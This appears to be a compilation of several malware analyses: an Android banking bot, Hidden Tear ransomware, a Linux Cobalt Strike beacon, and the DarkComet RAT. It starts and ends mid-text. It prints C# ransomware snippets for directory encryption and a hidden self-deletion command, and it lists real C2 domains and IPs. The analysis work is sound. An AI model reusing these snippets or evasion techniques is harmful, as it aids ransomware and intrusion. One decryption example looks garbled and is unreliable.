2. The second DEX — implements the malicious payload of the bot. This is what we discuss in this article. Its sha256 is `d0d704ace35b0190174c11efa3fef292e026391677ff9dc10d2783b4cfe7f961`.
3. A third DEX — downloaded by the second DEX from the remote C&C, but is not interesting for the analysis of the malware because it only contains non-malicious utility functions. Its package name is `com.fbdev.payload`.
## Overview of Malicious Components
This malware is a bot, which reports and receives commands from a remote server (C&C). It implements several malicious components:
- **Bulk SMS**: The attacker specifies the body of an SMS to send, and it is sent to all contacts of the victim’s smartphone.
- **Inject**: The attacker provides an image to download from the web and inject (overlay) on a given list of apps.
- **Install Apps**: The attacker specifies a list of applications to install on the phone.
- **Locker**: This disables the ringer and displays a text taken randomly from a pool of possible messages.
- **Notification Disabler**: Disables notifications of given applications.
- **PIN Code**: Steals the lock PIN code for some phone brands. The sample we analyze supports Samsung and Huawei.
- **SMS**: This is to send specific SMS messages. The attacker specifies the body and phone number to send to.
- **Screencast**: Takes screenshots of given applications.
- **Sound Switch**: Turns the ringer on or off.
- **Team Viewer**: A well-known non-malicious app to access your smartphone from any other computer. Here, the attacker uses it to access the victim’s smartphone remotely.
- **USSD**: The attacker specifies the premium phone number to call. For the victim, this may result in extra cost, depending on his/her subscription.
## Communication with the C&C
The URL to the remote C&C is found encrypted in the shared preferences file `pref_name_setting.xml`. The algorithm uses a slightly modified XOR algorithm with a hard-coded key derived from the string `sorry!need8money[for`food`.
### Decrypting the Preferences Entry “admin_panel_url_”
The XOR key is composed of characters `!8[`. For example, `“IL/p:/trI]:cNT7iDJhQ53iNV]9sHL>”` decrypts to `e`. The remote attacker and the bot exchange a JSON string, where JSON keys specify actions (or responses) to conduct.
## Malicious Injections
The bot implements an injection module which overlays attacker-chosen images on top of target applications. First, the bot reports its activity to the C&C. The attacker answers back to the bot with a list of applications it is interested to inject into (see “stockInjects” key).
In this case, the C&C was interested in many mobile Turkish bank apps. The bot searches which of these apps are installed on the victim’s phone and reports the information back to the C&C (see “app_list” key). For example, the bot notifies the C&C that 3 interesting mobile apps are installed. When an app among this list is launched, the bot requests the C&C for an HTML page to overlay.
From the victim’s point of view, everything happens fast, and it is not easy to detect something fishy is happening: the victim opens his/her mobile banking app. They may notice a quick screen flickering: this occurs when the bot has downloaded the attacker’s HTML and overlays it on top of the real app.
### Beware the Malicious Overlay!
This screenshot was taken on an infected Android emulator. If we are cautious, we can spot the trick here because the overlay is not perfect: the real app is running behind (we see the real logo at the top) and the malicious page is overlaid in front. This is actually not an image but an entire HTML page, with hard-coded embedded logo images, layout, and JavaScript. The card number, expiration date, and CVV are sent back to the C&C.
## Team Viewer Component
The bot supports the “teamViewerOptions” command which triggers the Team Viewer app to remotely access and control the victim’s smartphone. The C&C sends a username and password, and the bot (1) launches the Team Viewer app (if necessary), (2) accepts the EULA displayed by KLMS Agent on Samsung devices (security framework), (3) enters username and password in Team Viewer, and (4) finally connects to the remote end. This functionality heavily relies on using (abusing) the Accessibility Service.
To abuse Accessibility Services, the malware requests initial permissions. Yes, in theory, an end-user should not click “OK” to such a request, but let’s be honest, there are many pop-ups on a smartphone, and it’s not always clear to the end-user what they are authorizing. That’s how we end up with an infected smartphone.
## Disabling Notifications
The C&C sends a command “disabledPackages” with a list of package names to disable notifications for. The bot processes those packages one by one, launches the notification settings panel, and uses the Accessibility Service API to ensure the notification switch for the app is turned off.
## Screencast Component
The C&C may also send a “showScreen” command which is implemented by the Screencast component of the bot. First of all, if the device is locked, the bot broadcasts a swipe action to unlock. Then, it starts an activity that initiates screen capture.
When a screen capture is requested, the system normally displays a system UI pop-up asking for confirmation. The code checks if this is the confirmation pop-up, that it requests screen capture for the Video Player (the sample poses as a Video Player app), and automatically confirms & remembers the choice. When a screenshot is ready, it is sent to the C&C in base64 format. Unless an error occurs, a new screenshot will be taken in a second. This can get pretty intensive and slow down the phone, which probably explains why the bot displays a fake notification saying the phone is currently updating Google Play!
## Locker Component
When the bot receives the “locked” command with a flag set to True, it sets the ringer to silent mode and displays an activity meant to have the victim believe a recovery is under progress. The displayed messages are initially the following:
```
Android system corrupted files recovery
Kernel version 2.1.0.3
DO NOT TURN THE SYSTEM OFF
```
The mechanism to lock the device is simple: the message is displayed full screen, without navigation buttons, and the bot prevents any window focus change. This results in the user being locked on the given screen. When the C&C sends a “locked” command with a flag set to False, the bot simply kills the locking activity, and the victim may resume usage of the phone.
## PIN Code Component
When the bot receives an “action_request_pin” command, it tries to steal the victim’s PIN. Depending on the device, it asks the victim to set a new password and steals it by monitoring the Accessibility API, or it steals the current PIN by overlaying a fake PIN code request window. If the C&C provides an “approvedPin” command, the bot will additionally try to modify the current PIN with the new value selected by the C&C.
## Install Component
The C&C may send a list of apps to install via the command “apks”. The applications are downloaded from a URL specified in the command. The installation is performed by abusing the Accessibility API. The code is quite lengthy because there are many cases: check if the event occurs in the system installer, if the app installer occurs in an alert dialog, then automatically click to install, and if the system is requesting permission to install from an external source, authorize it, etc.
The same component also deals with the removal of applications. The command names are misleading: “remove_all” uninstalls only Team Viewer, and “remove_by_id” removes a specified app. If the package name is “bot”, then the bot removes itself. A self “cleaning” command!
## Sound Component
The C&C may turn on or off the ringer via the command “soundEnabled” followed by a boolean. Turning the ringer on/off is performed simply by a call to `setRingerMode`.
## USSD Component
The bot may be instructed to call USSD (quick codes). For instance, it requests `*101#` which returns the current subscription rate.
## SMS Component
The bot has the capability to spy on incoming SMS and report the messages to the C&C. This feature is quite common in malware and is performed by reading the incoming PDU. The bot can also be instructed to send SMS specified by the “sms” command. The SMS is sent using the common `sendTextMessage` API.
When `prem_flag` is set, the bot sends an SMS to notify that a new victim has “registered” to the botnet. The SMS is sent to phone number “0001”, which is strange because it should not correspond to anything. Unless there is a trick with SMS filtering.
The sound component implements a lengthy `onAccessibilityEvent()` method which handles events on settings, policy, and sound. It is not clear why this is necessary when `setRingerMode` does the job. Finally, in the SMS component, it is not clear why the bot also implements sending SMS by abusing the SMS application and automatically clicking through the nodes when `sendTextMessage` does the job in far fewer lines of code. |
# Earn Quick BTC with Hiddentear
## About Open Source Ransomware
No, this will not be a skiddy tutorial on how to earn quick crypto but rather an analysis of the open source ransomware "Hiddentear". A general disclaimer as always: downloading and running the samples linked below will lead to the encryption of your personal data, so be careful. Also, check with your local laws as owning malware binaries/sources might be illegal depending on where you live.
"Shade Ransomware creator is stupid fxxxxx.exe" @ Any.Run --> sha256
ba978eee90be06b1ce303bbee33c680c2779fbbc5b90c83f0674d6989564a70a
Because HiddenCrypt is written in C# utilizing the .NET Framework, static analysis of the binary will happen in Progress Telerik JustDecompile and dnspy. With over 370 forks and about as many stars on GitHub at the time of writing this, Hiddentear is arguably the most popular open source Windows ransomware on the platform.
The original ransom note that is dropped to the Desktop by Hiddentear:
It uses the RijndaelManaged class implemented in System.Security.Cryptography for the file encryption routine (which is just a fancy way of saying that victim data is encrypted with AES-256-CBC).
By default, Hidden Tear will only spare folders named Windows, Program Files, and Program Files (x86) and encrypt the contents of every directory that doesn't match this condition.
```csharp
if (!directories[j].Contains("Windows") && !directories[j].Contains("Program Files") && !directories[j].Contains("Program Files (x86)")) {
this.encryptDirectory(directories[j], password);
this.messageCreator(directories[j]);
}
```
Another common mechanism to disrupt detection and analysis is a self-deletion routine. After a timeout to ensure a completed execution, it will just remove itself via the Del argument.
```csharp
public void selfDestroy() {
ProcessStartInfo processStartInfo = new ProcessStartInfo() {
Arguments = string.Concat("/C timeout 2 && Del /Q /F ", Application.ExecutablePath),
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
FileName = "cmd.exe"
};
Process.Start(processStartInfo);
}
```
Shadow variant available @ Any.Run --> sha256
fd5de1631c95041fde92042dd760e1fe27c7fe217d30e6568cc2e69eb812fb85
This sample was found on the IIS Webhost of the Mineral Resources Authority of Papua New Guinea and tries to disguise itself as a Vodafone PDF Invoice. Throwing the dropped binary into Detect it Easy returns the notice that it pretends to be a WinRAR installer Version 5.x.
Extracting the strings out of the mentioned executable (with a relatively new fancy tool by FireEye called stringsifter) one can see that it actually includes three references related to WinRAR, where the first is
D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb. As for a TIL: sfx stands for "self-extracting archive" which is packaged with an executable to extract it so it's (more or less) independent from the host system.
The full string dump can be had here. It also contains a number of messages in a foreign language which are identified as Turkish by Google Translate.
Loading the binary into JustDecompileIt, we notice that it was crypted by something called Aika. The Assembly Information also gives away that ConfuserEx is involved as well. The payload section confirms that hint as we have an encrypted payload that will be fetched in runtime and then executed via RunPE. Below you can see a screenshot of the Aika Crypter. As I already mentioned, it is based on ConfuserEx and includes the other run-of-the-mill evasion techniques and injections (RunPE or self).
This sample also features an anti-debugging check via IsDebuggerPresent. Nothing we haven't seen before either.
## Open Source Ransomware (Malware)?
The main reason why projects like Hidden Tear exist is to use it as a training model and PoC to handle "real" ransomware more efficiently. Critics say that OSS malware will never match real threats - which is definitely true to some extent - and that it only promotes building weaponized versions of it. On the other hand, OSS ransomware is very useful to get a true baseline reading from a sandbox system since you know for sure what it will do next.
So what should you think about it now? If you ask me, the bad outweighs the good here: per day multiple new weaponized versions of Hidden Tear hit AnyRun, VT, and Co. that are packed/obfuscated or modified with numerous evasion techniques. If it shows us one thing, it's that building ransomware isn't hard. Even worse: it is not like ransomware is a dual-use tool (like e.g. a hammer). Nobody will call you out for building a PoC binary to better understand the inner workings and how to analyze it afterward. Don't get me wrong: I'm a HUGE advocate of open source software, but please don't push your "Proof of Concepts" to GitHub if they can literally be turned into malware by exchanging a URL and Bitcoin address.
## IOCs
Hidden Tear (SHA256 / SSDEEP)
454364vodafone-e-fatura.exe
fd5de1631c95041fde92042dd760e1fe27c7fe217d30e6568cc2e69eb812fb85
24576:8NA3R5drXfZAeMQ7MSTlRVHJ88iV4npWuSp008q75pVQNohig1w2YHgLo/:95BAvu7TD1YV0xJYtYOhH
cryptoJoker.exe / "Shade Ransomware creator is stupid fxxxxx.exe"
ba978eee90be06b1ce303bbee33c680c2779fbbc5b90c83f0674d6989564a70a
12288:gnSKwjzsZpds2JbrpolSKwjzuZpXs2JTypo:USKwWes6lSKw88s/
### Affected File Extensions
".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpeg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd", ".mp4", ".7z", ".rar", ".m4a", ".wma", ".avi", ".wmv", ".csv", ".d3dbsp", ".zip", ".sie", ".sum", ".ibank", ".t13", ".t12", ".qdf", ".gdb", ".tax", ".pkpass", ".bc6", ".bc7", ".bkp", ".qic", ".bkf", ".sidn", ".sidd", ".mddata", ".itl", ".itdb", ".icxs", ".hvpl", ".hplg", ".hkdb", ".mdbackup", ".syncdb", ".gho", ".cas", ".svg", ".map", ".wmo", ".itm", ".sb", ".fos", ".mov", ".vdf", ".ztmp", ".sis", ".sid", ".ncf", ".menu", ".layout", ".dmp", ".blob", ".esm", ".vcf", ".vtf", ".dazip", ".fpk", ".mlx", ".kf", ".iwd", ".vpk", ".tor", ".psk", ".rim", ".w3x", ".fsh", ".ntl", ".arch00", ".lvl", ".snx", ".cfr", ".ff", ".vpp_pc", ".lrf", ".m2", ".mcmeta", ".vfs0", ".mpqge", ".kdb", ".db0", ".dba", ".rofl", ".hkx", ".bar", ".upk", ".das", ".iwi", ".litemod", ".asset", ".forge", ".ltx", ".bsa", ".apk", ".re4", ".sav", ".lbf", ".slm", ".bik", ".epk", ".rgss3a", ".pak", ".big", "wallet", ".wotreplay", ".xxx", ".desc", ".py", ".m3u", ".flv", ".js", ".css", ".rb", ".p7c", ".pk7", ".p7b", ".p12", ".pfx", ".pem", ".crt", ".cer", ".der", ".x3f", ".srw", ".pef", ".ptx", ".r3d", ".rw2", ".rwl", ".raw", ".raf", ".orf", ".nrw", ".mrwref", ".mef", ".erf", ".kdc", ".dcr", ".cr2", ".crw", ".bay", ".sr2", ".srf", ".arw", ".3fr", ".dng", ".jpe", ".jpg", ".cdr", ".indd", ".ai", ".eps", ".pdf", ".pdd", ".dbf", ".mdf", ".wb2", ".rtf", ".wpd", ".dxg", ".xf", ".dwg", ".pst", ".accdb", ".mdb", ".pptm", ".pptx", ".ppt", ".xlk", ".xlsb", ".xlsm", ".xlsx", ".xls", ".wps", ".docm", ".docx", ".doc", ".odb", ".odc", ".odm", ".odp", ".ods", ".odt", ".lnk", ".iso" |
# Discovering Linux ELF Beacon of Cobalt Strike Tool
This post was authored by Fareed.
## Introduction
Cobalt Strike is a tool used for red teaming and penetration testing to demonstrate cyber attacks. It is a commercial, full-featured remote access tool that bills itself as "adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors." Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.
Nowadays, real attackers and cyber threat actors have used this tool extensively in their operations to conduct cyber attacks against their targets. Today, we see another evolution of Cobalt Strike where the threat actor has developed a Linux version of a payload that achieves zero detection in VirusTotal and remains stealthy in client premises for more than three months.
## Graph Flow
Based on the graph flow of the malware, it has a simple function routine. The core function of this malware is to establish a beacon connection to the attacker Cobalt Strike server via DNS using the Cobalt Strike Malleable C2 config embedded in the malware. An interesting aspect of reversing this malware is how it decrypts strings and data in the heap and parses that data to set up the DNS request.
## Technical Analysis Findings
### Initial Assessment
Based on the THOR scanner’s results given to the Netbytesec team, the hashes of the malware are as follows:
- 3db3e55b16a7b1b1afb970d5e77c5d98
- c5718ec198d13ef5e3f81cecd0811c98
The YARA rule that matched with the THOR scanner detection is “CobaltStrike_C2_Encoded_Config_Indicator,” which creates the first bad indicator of this malicious file.
The Netbytesec analyst tried to run the malware in our malware analysis lab using Ubuntu 20.04 OS, but the malware produced an error related to library dependencies.
### Tested on Ubuntu Distro
After verifying the infected server’s OS, which is CentOS 7, the Netbytesec team ran the program in CentOS 7 to mimic the real infected infrastructure of the malware. As a result, the malware successfully ran in CentOS 7 without any error, unlike in the Ubuntu OS. The Netbytesec team believes that the malware was customized to run only in RedHat Distribution, as attempts to run the malware in Debian and Ubuntu yielded the same error.
### Tested on CentOS 7
Our initial assessment was to check for any detection from the Anti-Virus engine in VirusTotal, as our client had uploaded the malware there. The malware has zero detection in VirusTotal, which is quite interesting for reversing this binary.
While in Joe Sandbox, the file was detected as malicious with a score of 48 out of 100. The malware was detected as highly malicious primarily due to the YARA signatures that detect the Cobalt Strike C2 encoded profile config instead of malicious behavior activity.
To verify the Cobalt Strike C2 profile, the Netbytesec analyst manually analyzed the Linux program without relying solely on the YARA signature, as it can produce false positives. The analyst parsed the profile config to extract information about the Cobalt Strike config, including the C2 server DNS and other details.
Based on the config, the beacon type of this malware will be delivered using DNS. Thus, DNS beaconing will be performed when the malware is executed. The “PublicKey_MD5” value indicates that once the beacon is executed, it needs to communicate with the Team Server. Whenever a beacon checks in to the Cobalt Strike Team Server destination, it sends an encrypted metadata blob. The metadata blob is encrypted using an RSA public key extracted from the stager, which is the malware. The config also includes how the data communication request headers include GET and POST requests between the infected machine and the Cobalt Strike team server.
The malware used two C2 server domains: update.microsoftkernel.com and update.microsofthk.com. Inspecting both domains shows that they resolved to the IP address 160.202.163.100, last seen on 2021-09-06. The Netbytesec team conducted OSINT research on both domains and found a tweet from 2019 indicating that the author of the malware uses the Cobalt Strike tool as part of the cyber attack on our client-server infrastructure.
## Reverse Engineering Analysis
Focusing on the malware's inner code, once executed, it runs in the background silently without outputting anything on the screen. The first code of the main function calls the daemon function.
At the address 4035F3, the malware executes a subroutine renamed as “wrap_sys_getid,” which retrieves the thread ID (TID) or the Process ID (PID) of the running malware. This function returns the TID number and serves it to the function “j_srand” to generate an integer number.
Next, at address 4035FF, renamed as “wrap_decryption,” the malware calls this subroutine to decrypt and parse most of the encrypted strings and data in the executable to create network requests to the attacker infrastructure.
Moreover, in the “wrap_decryption” function, the malware includes a function to read resolver configuration files used to configure DNS name servers in Linux OS.
When debugging a part of “wrap_decryption,” the program parses the C2 domains from the config allocated in memory. The parsed C2 domains are shown in the figures.
The strings decrypted and parsed in memory after the function “wrap_wrap_decryption” finishes executing did not appear if the program was not running. Thus, dynamic analysis or execution is required to dump the strings from memory. These strings will be used to build and create C2 communication in a function renamed as “wrap_connection_c2.”
Another interesting function to investigate is “wrap_enumeration_and_createb64.” In this subroutine, it enumerates and retrieves the infected host’s information, such as the process ID, IP address, UID, hostname, and kernel info. This information is appended and saved in the heap. The collected host information is encrypted using the public RSA key and then encoded using base64.
The generation of the base64 uses the base64 BIO filter function from the OpenSSL crypto library. This filter BIO base64 encodes any data written through it and decodes any data read through it. The base64 is saved in the heap for use in DNS beaconing communication.
The last part of the malware’s core functionality is the C2 connection and sleep function. The function “wrap_connection_c2” is a switch case that contains six cases. The most important case is case 2, where all the beacon connections are created to communicate with the C2 server.
In the sub_40D440 subroutine function, the Netbytesec team analyst discovers the IP address of the Cobalt Strike as it appends the IP address to the request header “Host:”. The IP address 160.202.163.100 matches the PCAP communication and the previous OSINT research results on both domains.
OSINT research on this IP found that it has a historical record of the Cobalt Strike server using port 80. The passive DNS of the IP matches the DNS found earlier, which are microsoftkernel.com and microsofthk.com. The IP was also flagged as malicious, having communicated with a malicious file recently.
Finally, the connection is officially created using the function BIO_s_connect(). This is a wrapper around the platform's TCP/IP socket connection routines. The connection is set up using strings and data like URL and cookies appended along with the GET request headers to complete the connection to the attacker infrastructure.
## DNS Beaconing
The malware requests tasks via DNS, which responds using the TXT channel. The result of the TXT query is encoded in base64 and encrypted in AES, containing the task from the Team Server.
As explained in the Cobalt Strike blog, when the DNS server receives the request, it checks if any tasks are available for that Beacon instance. If no tasks are available, it returns a response that tells the Beacon to go to sleep. If a task is available, the Cobalt Strike DNS server returns an IP address. The compromised system then connects to that IP address and makes an HTTP GET request to download its tasks. The tasks are encrypted, which is why we see HTTP GET request construction in the code. This is the hybrid communication model. The idea is that DNS requests at regular intervals are less likely to be noticed than HTTP requests at regular intervals.
To track the compromise events, the NetByteSec Splunk analyst discovered that several servers of our client have made DNS beaconing to the Cobalt Strike since April 2021.
## Conclusion
The attacker has dropped their malicious software on the servers and run the malware. The malware can run in the background and create a DNS beacon connection to the Cobalt Strike C2 server hosted on IP 160.202.163.100. Before the connection is established, the malware decrypts many strings and data, including the Cobalt Strike config, and then parses and appends it to the function that will create the connection. Most of the findings from OSINT research on the found IP address and domains indicate that these IOCs positively belong to an attacker using the Cobalt Strike tool to conduct the attack. The Netbytesec team believes that this cyber attack was conducted by an actor who was able to tweak and port the Cobalt Strike payload to a Linux-based version and remain stealthy after compromising our client.
## Indicator of Compromises
**IP address:**
- 160.202.163.100
**Domains:**
- microsoftkernel.com
- microsofthk.com
**Subdomains:**
- update.microsoftkernel.com
- update.microsofthk.com
**Hash:**
- 3db3e55b16a7b1b1afb970d5e77c5d98
- c5718ec198d13ef5e3f81cecd0811c98 |
# You Dirty RAT! Part 1: DarkComet
**Adam Kujawa**
June 9, 2012
Last week, I talked a little about the Flame Trojan and how much the average user would need to worry about being infected with it, which is none. State-sponsored RAT malware, like Flame, would likely not infect average users and even in the off chance that it did, the operators behind the malware would probably remove the Trojan before being discovered. Its purpose is for very specifically targeted cyber-espionage, not stealing your Facebook password.
So are you completely safe from malware like Flame? Well not exactly. Take out the state-sponsored aspect of Flame and you’ve got a RAT or Remote Administration Trojan, of which there are many out there that are used every single day to spy on the average people. Before you get too freaked out, Malwarebytes Anti-Malware detects and removes these threats all the time, so don’t worry too much about being a victim as long as you properly protect your system.
This blog post is one of many which I am going to use to:
- Discuss some of the RAT malware currently seen in the wild
- What they can do
- How they work
- How to protect yourself from them
This first blog is about DarkComet, a freely available Remote Administration “Tool” which was developed by DarkCoderSC, an independent programmer and computer security specialist from France. He advertises DarkComet as a tool and not a Trojan because of its many useful functions which could be used to administer a network at a very close level. However, he also mentions that his tool is often used by hackers and hence it is often detected by antivirus engines as being malicious. While the tool is free to download and use, he offers the “VIP” service, which gives the user access to direct support, updates about the product and the ability to post new ideas or software bugs, all for 20 Euros or $25.
## Features
The Flame malware could do a lot of stuff, although not completely analyzed we know that it can take screenshots, modify/create/delete files and execute a keylogger. However, the capability of most RATs takes that functionality and multiplies it significantly. DarkComet is no different; it can execute over 60 different server-side functions, meaning the type of things it can execute/monitor/control on the infected system.
Note: For the sake of talking about RATs, you need to turn the usual definition of “client-server” around. In this case the “server” is the RAT implant running on the infected system while the “client” is the controller application used by the attacker.
Here is a list of some of the pretty nasty things which this RAT can do:
- Find out all system information, including hardware being used and the exact version of your operating system, including security patches.
- Control all the processes currently running on your system
- View and modify your registry
- Modify your Hosts file
- Control your computer from a remote shell
- Modify your startup processes and services, including adding a few of its own
- Execute various types of scripts on your system
- Modify/View/Steal your files
- Put files of its own on your system
- Steal your stored password
- Listen to your microphone
- Log your keystrokes
- Scan your network
- View your network shares
- Mess with your MSN Messenger / Steal your contacts / Add new contacts
- Steal from your clipboard
- Control your printer
- Lock/Restart/Shutdown your computer
- Update the implant with a new address to beacon to or new functionality
Those are only some of what this baby can do; I left out a few of the big ones because I wanted to go into more detail about them. Also, they are my favorite!
## Fun Functions
A lot of RATs include “Fun Functions” to mess with the system (and minds) of the victim. In many cases these are built-in functions to play tricks on friends or just have fun at the expense of the unfortunately infected user. DarkComet has multiple “Fun Functions” that I thought would be interesting to discuss.
### Fun Manager
The Fun Manager is a set of different types of fun functions which an attacker can use against the user. It includes:
- Hiding the Desktop – Hiding all the icons and making it impossible to right-click on the desktop.
- Hide the Clock – Self Explanatory
- Hide Task Icons – In the little box on the right side of your start bar
- Hide Sys Tray Icons – Hide icons and open application buttons on the taskbar
- Hide Taskbar – Self Explanatory
- Hide the Start Button – Only works in Win XP
- Disable the Start Button (XP Only) – Gray out the start button, disabling it.
- Disable TaskMgr – Disables the Windows Task Manager (When you hit Ctrl+Alt+Del)
- Open/Close CD Tray – Self Explanatory
### Piano
The piano function is exactly what it sounds like, the ability to play a type of piano which can be configured to play at different octaves. Another functionality of this feature is the ability to play a custom sound at a specific frequency (in Hz) and for a custom duration (Ms). The purpose of this feature is just to annoy people.
### Send Message Box
This is a pretty simple function which can mess with the user on a LOT of levels; it basically allows the attacker (or Administrator) to create a custom message box to the user, like an error or informative notice that one would normally see. The interesting thing about this feature is that not only are you able to create a message box belonging to the system but also to any active Windows on the system, for example notepad or Windows Media Player. The messages then appear to be coming from the application and that might make the user believe the application is malicious rather than the actual malware running behind the scenes.
### Microsoft Reader
This feature isn’t anything new and is more fun than anything. If you’ve ever used a Mac, you know that one of the features of the text editor is to read the text you wrote out loud. The Microsoft Reader function is no different and will read whatever the attacker types, to the unsuspecting user. I could only imagine the kind of shock and panic that the user would experience upon hearing the electronic voice of evil saying to them “I OWN YOU” through the speakers.
### Remote Chat
I think this feature is really fun; it gives the operator the ability to create a chat window on both ends (server and client) in order to have a conversation with the infected user. This has a lot of legitimate network administration purposes but nonetheless, it can really confuse a victim.
So that sums up all of the Fun Features. I thought it would be a good idea to discuss them because quite frankly, RATs are the only malware I have found that have a sense of humor and it’s good to point out that not all malware is used to steal information or crash systems; some of it still likes to just mess with people, the same way hackers of yesterday did it for fun.
## Uninstall Applications
Unfortunately, we need to stray from the lighthearted side of this blog post and talk about some of the more scary functionality that DarkComet has. A very powerful and dangerous function of this RAT is the ability to uninstall applications at a whim. The attacker will receive a listing of all installed applications and be given the option to uninstall them. This could be used for multiple reasons; however, one of the big ones is to disable security products.
You have an antivirus engine running on your system; you paid a lot for it so you feel secure. It came with an e-mail scanner so you don’t mind opening any e-mails or links you don’t trust. You get an e-mail from an unfamiliar source, telling you to click on a link to see a funny video of a LoLCat. You do so and are directed to a fake YouTube page; you shrug it off as nothing and go on your business. Unbeknownst to you, the fake page exploited a zero-day browser exploit and infected your system with a DarkComet implant, this is a new variant of the malware and therefore, your AV has yet to write signatures to detect it. The first thing the controller of the RAT does is uninstall your antivirus engine, allowing it to do whatever it wants without being detected.
Another aspect of the Uninstall functionality is to remove security patches put into place to secure security holes in the operating system. This could lead to the DarkComet removing security measures put in place and being able to exploit older vulnerabilities in your operating system, allowing for even more malware to be downloaded to your system and executed. Now you are completely infected and your options are limited.
## Remote Desktop
This is a pretty neat functionality that you don’t often see used by other RATs. It allows the attacker to not only see the active screen of the infected user but also be able to take control of the mouse and keyboard, using it as though they were sitting in front of the system itself. This functionality is probably the most dangerous to the infected user because it can go beyond what the Uninstall function can do and instead of just uninstalling an AV engine, it can set the DarkComet executable to “Allowed.” This means that even though the user's system is completely infected with DarkComet, the AV engine will not bother to try and stop it. This is something that many users might never know is even happening.
The drawbacks to this functionality is how loud it is; imagine playing an online game, you will receive data from the remote server in order to see what is going on in the game and the actions of other players, however you will also be sending a large amount of data as you interact with the game itself. This is along the same lines as if the remote desktop was being run, in which case it is possible to experience some serious network lag and for experienced computer users who might be running network monitoring software, a suspicious clue to something being very wrong.
## DDOS
As I mentioned earlier, DarkComet is advertised as a network administration tool that helps to control systems in a network. Most of the functionality we have seen here so far (except for the Fun Functions) can be used to that end and you couldn’t really dispute the use and purpose of the RAT. However, there is one question I have: Considering that this is a Remote Administration Tool, to be used for good and what not… WHY DOES IT HAVE DDOS FUNCTIONALITY!?
As you probably know, DDOS means Distributed Denial of Service and is an attack where multiple systems, usually infected with botnet malware, will send multiple packets of network data to one location in an attempt to overload the receiving web server and disable its ability to respond to legitimate requests. This is a very well-known and used hacker attack, and yet, it’s one of the miscellaneous functions that DarkComet comes with.
I can’t think of an occasion where a network admin would need to try and bring down a web server using the network he/she is controlling as a weapon but I don’t work Network Administration, so what do I know?
## Webcam Control
While it isn’t a new or unique functionality, webcam control is still a very dangerous and effective way to spy on people. The possible use of these webcam videos/images, which can be obtained from the webcam control function, range from cyber espionage, victim blackmailing, the normal perversion of spying on people while they don’t know it and the worst one of all child pornography. Although not the intention of every attacker using this tool, it can be used to spread or sell child pornography and therefore make this function, in my opinion, the worst one out of the bunch.
## How does DarkComet Work?
Good question! Most RATs usually have very intricate programming included in the implant themselves, including a large network of command checking algorithms which take the input from the controller and executes specific functionality based upon that input. The functionality is usually condensed as much as possible to make the implant binary smaller; however, they are still usually larger than other types of malware which have less functionality. For example, a general range of size for normal malware is between 5KB and 15KB with the occasional outlier to 20KB. The sample implant binary I created for DarkComet, even after being packed, is 352KB. If you recall, the Flame RAT was 20MB; so in comparison, DarkComet is tiny.
Here is a breakdown of what happens with DarkComet when taking commands from the C2 or controller:
- Implant beacons every 20 seconds back to the C2 to check in and wait for any more commands
- When desired by the operator, the C2 will send back a command using some custom traffic encryption scheme.
- The command is taken in by the implant, decrypted and then analyzed for:
- Authenticity – Meaning an ID or some other value which confirms that the implant is receiving a command from the correct source
- Command – The exact function requested, I.E. List Active Processes or Disable Task Bar, etc.
- Parameters – What extra options should the implant take into consideration when executing the requested functionality
- The implant will take this parsed information and execute the functionality
- The output from execution of the functionality will be sent back to the C2 in the same encrypted form
- The C2 will decrypt the data and present it to the operator
One of the key elements in network detection is the Beacon or the Beacon Response. Since DarkComet is a repetitive string and the encryption only distorts the values in a set way (such as an XOR), the exact data sent to the C2 or back from the C2 will remain constant while the implant is inactive. These values can be used to develop network detection signatures which would flag a possible infection. The next step from a network security standpoint would be to track down the exact system which is infected by the malware and clean it accordingly. Although this kind of detection is usually only done on the networks of large organizations or governments, not really single users.
You might be thinking at this point: “Well hey, if that network detection stuff works well, why was it not used for Flame?” Answer: I assume that after the detection of the infection and a preliminary analysis of the Flame malware, it was put into place to keep track of which systems were infected and what kind of data was being sent. However, before the detection of Flame, the malware would have most likely kept its beacons as far apart as possible and maybe even send the data through a series of other infected systems before it went out to its C2. This would keep the traffic down and not throw any suspicious flags.
Moving on, we know how DarkComet talks to its C2 and how it processes the data and executes its functionality, that’s great and all but does DarkComet use the same implant for every controller that is downloaded? The answer is no and that answer fits for most RATs. See certain things need to be configured in an implant, for example the beacon address, target specifications and the level of infection required. DarkComet is no different and comes with its own implant building tools.
There are two types of implant creation (or as it calls them, server module) tools, a Minimalistic one which is quick to develop or a Full Editor which requires expert knowledge of the RAT.
### Minimalist
The minimalist version of the implant creator includes configuration for:
- The Implant ID
- The beacon back address
- The port to use – The default is 1604, it was used in the past for Citrix related operations, it was probably chosen because of the high amount of traffic it used to receive.
- The installation destination path and “KeyName”
- An area to Drag-And-Drop an Icon to be used.
It is useful for on-the-fly creation of an implant but I think most users will probably use the Full Editor instead.
### Full Editor
The Full editor gives the user a lot more options when creating the implant, here is a list of those options:
- A security Password to further authenticate the implant to the controller
- The Process Mutex to use
- The Server ID
- A profile name to save the settings as
- The ability to hijack processes to get around Firewall restrictions
- The Address/Port to beacon to
- Installation location and filename
- Keyname
- Options to:
- Destroy the installation binary after first execution
- Change the file creation date
- Create persistence on the system
- Dropped File and Folder attributes (Hidden/System)
- Ability to display a message box with text upon installation
- Various stealth and persistence functions or Rootkit functions
- Ability to disable various system functions upon installation
- Options to use an offline keylogger or send keylogger data to a remote FTP server (with FTP configuration options)
- Installation modifications to the Hosts File – to redirect traffic
- Ability to load “Plug-ins”
- Addition files to drop and execute upon installation (Piggybacking)
- Which Icon to use for the Binary
- Compression or Packer to use:
- UPX
- MPRESS
- The file extension to use:
- .exe
- .com
- .bat
- .pif
- .scr
That is a lot of options! It is clearly the best method of creating the implant binary. The scary part about the functionality of the implant installation binary is that even without being blocked to its C2, this one file can execute enough functionality to completely infect your system.
### Server Downloader
The final option that an operator has in creating an infection binary would be the Server Downloader. I think this is a neat little tool that automatically creates a lightweight (2KB) application that automatically downloads and executes the real implant installation binary from a given remote URL. It makes it easy to hide it as being non-malicious when going through the motions of tricking a user into downloading and executing it. The options given to the operator are:
- The URL of the file to download
- The extension to use (The same as the Full Editor)
## How to protect yourself
There are multiple methods used in the spread of RATs, as for DarkComet, some of the biggest methods are:
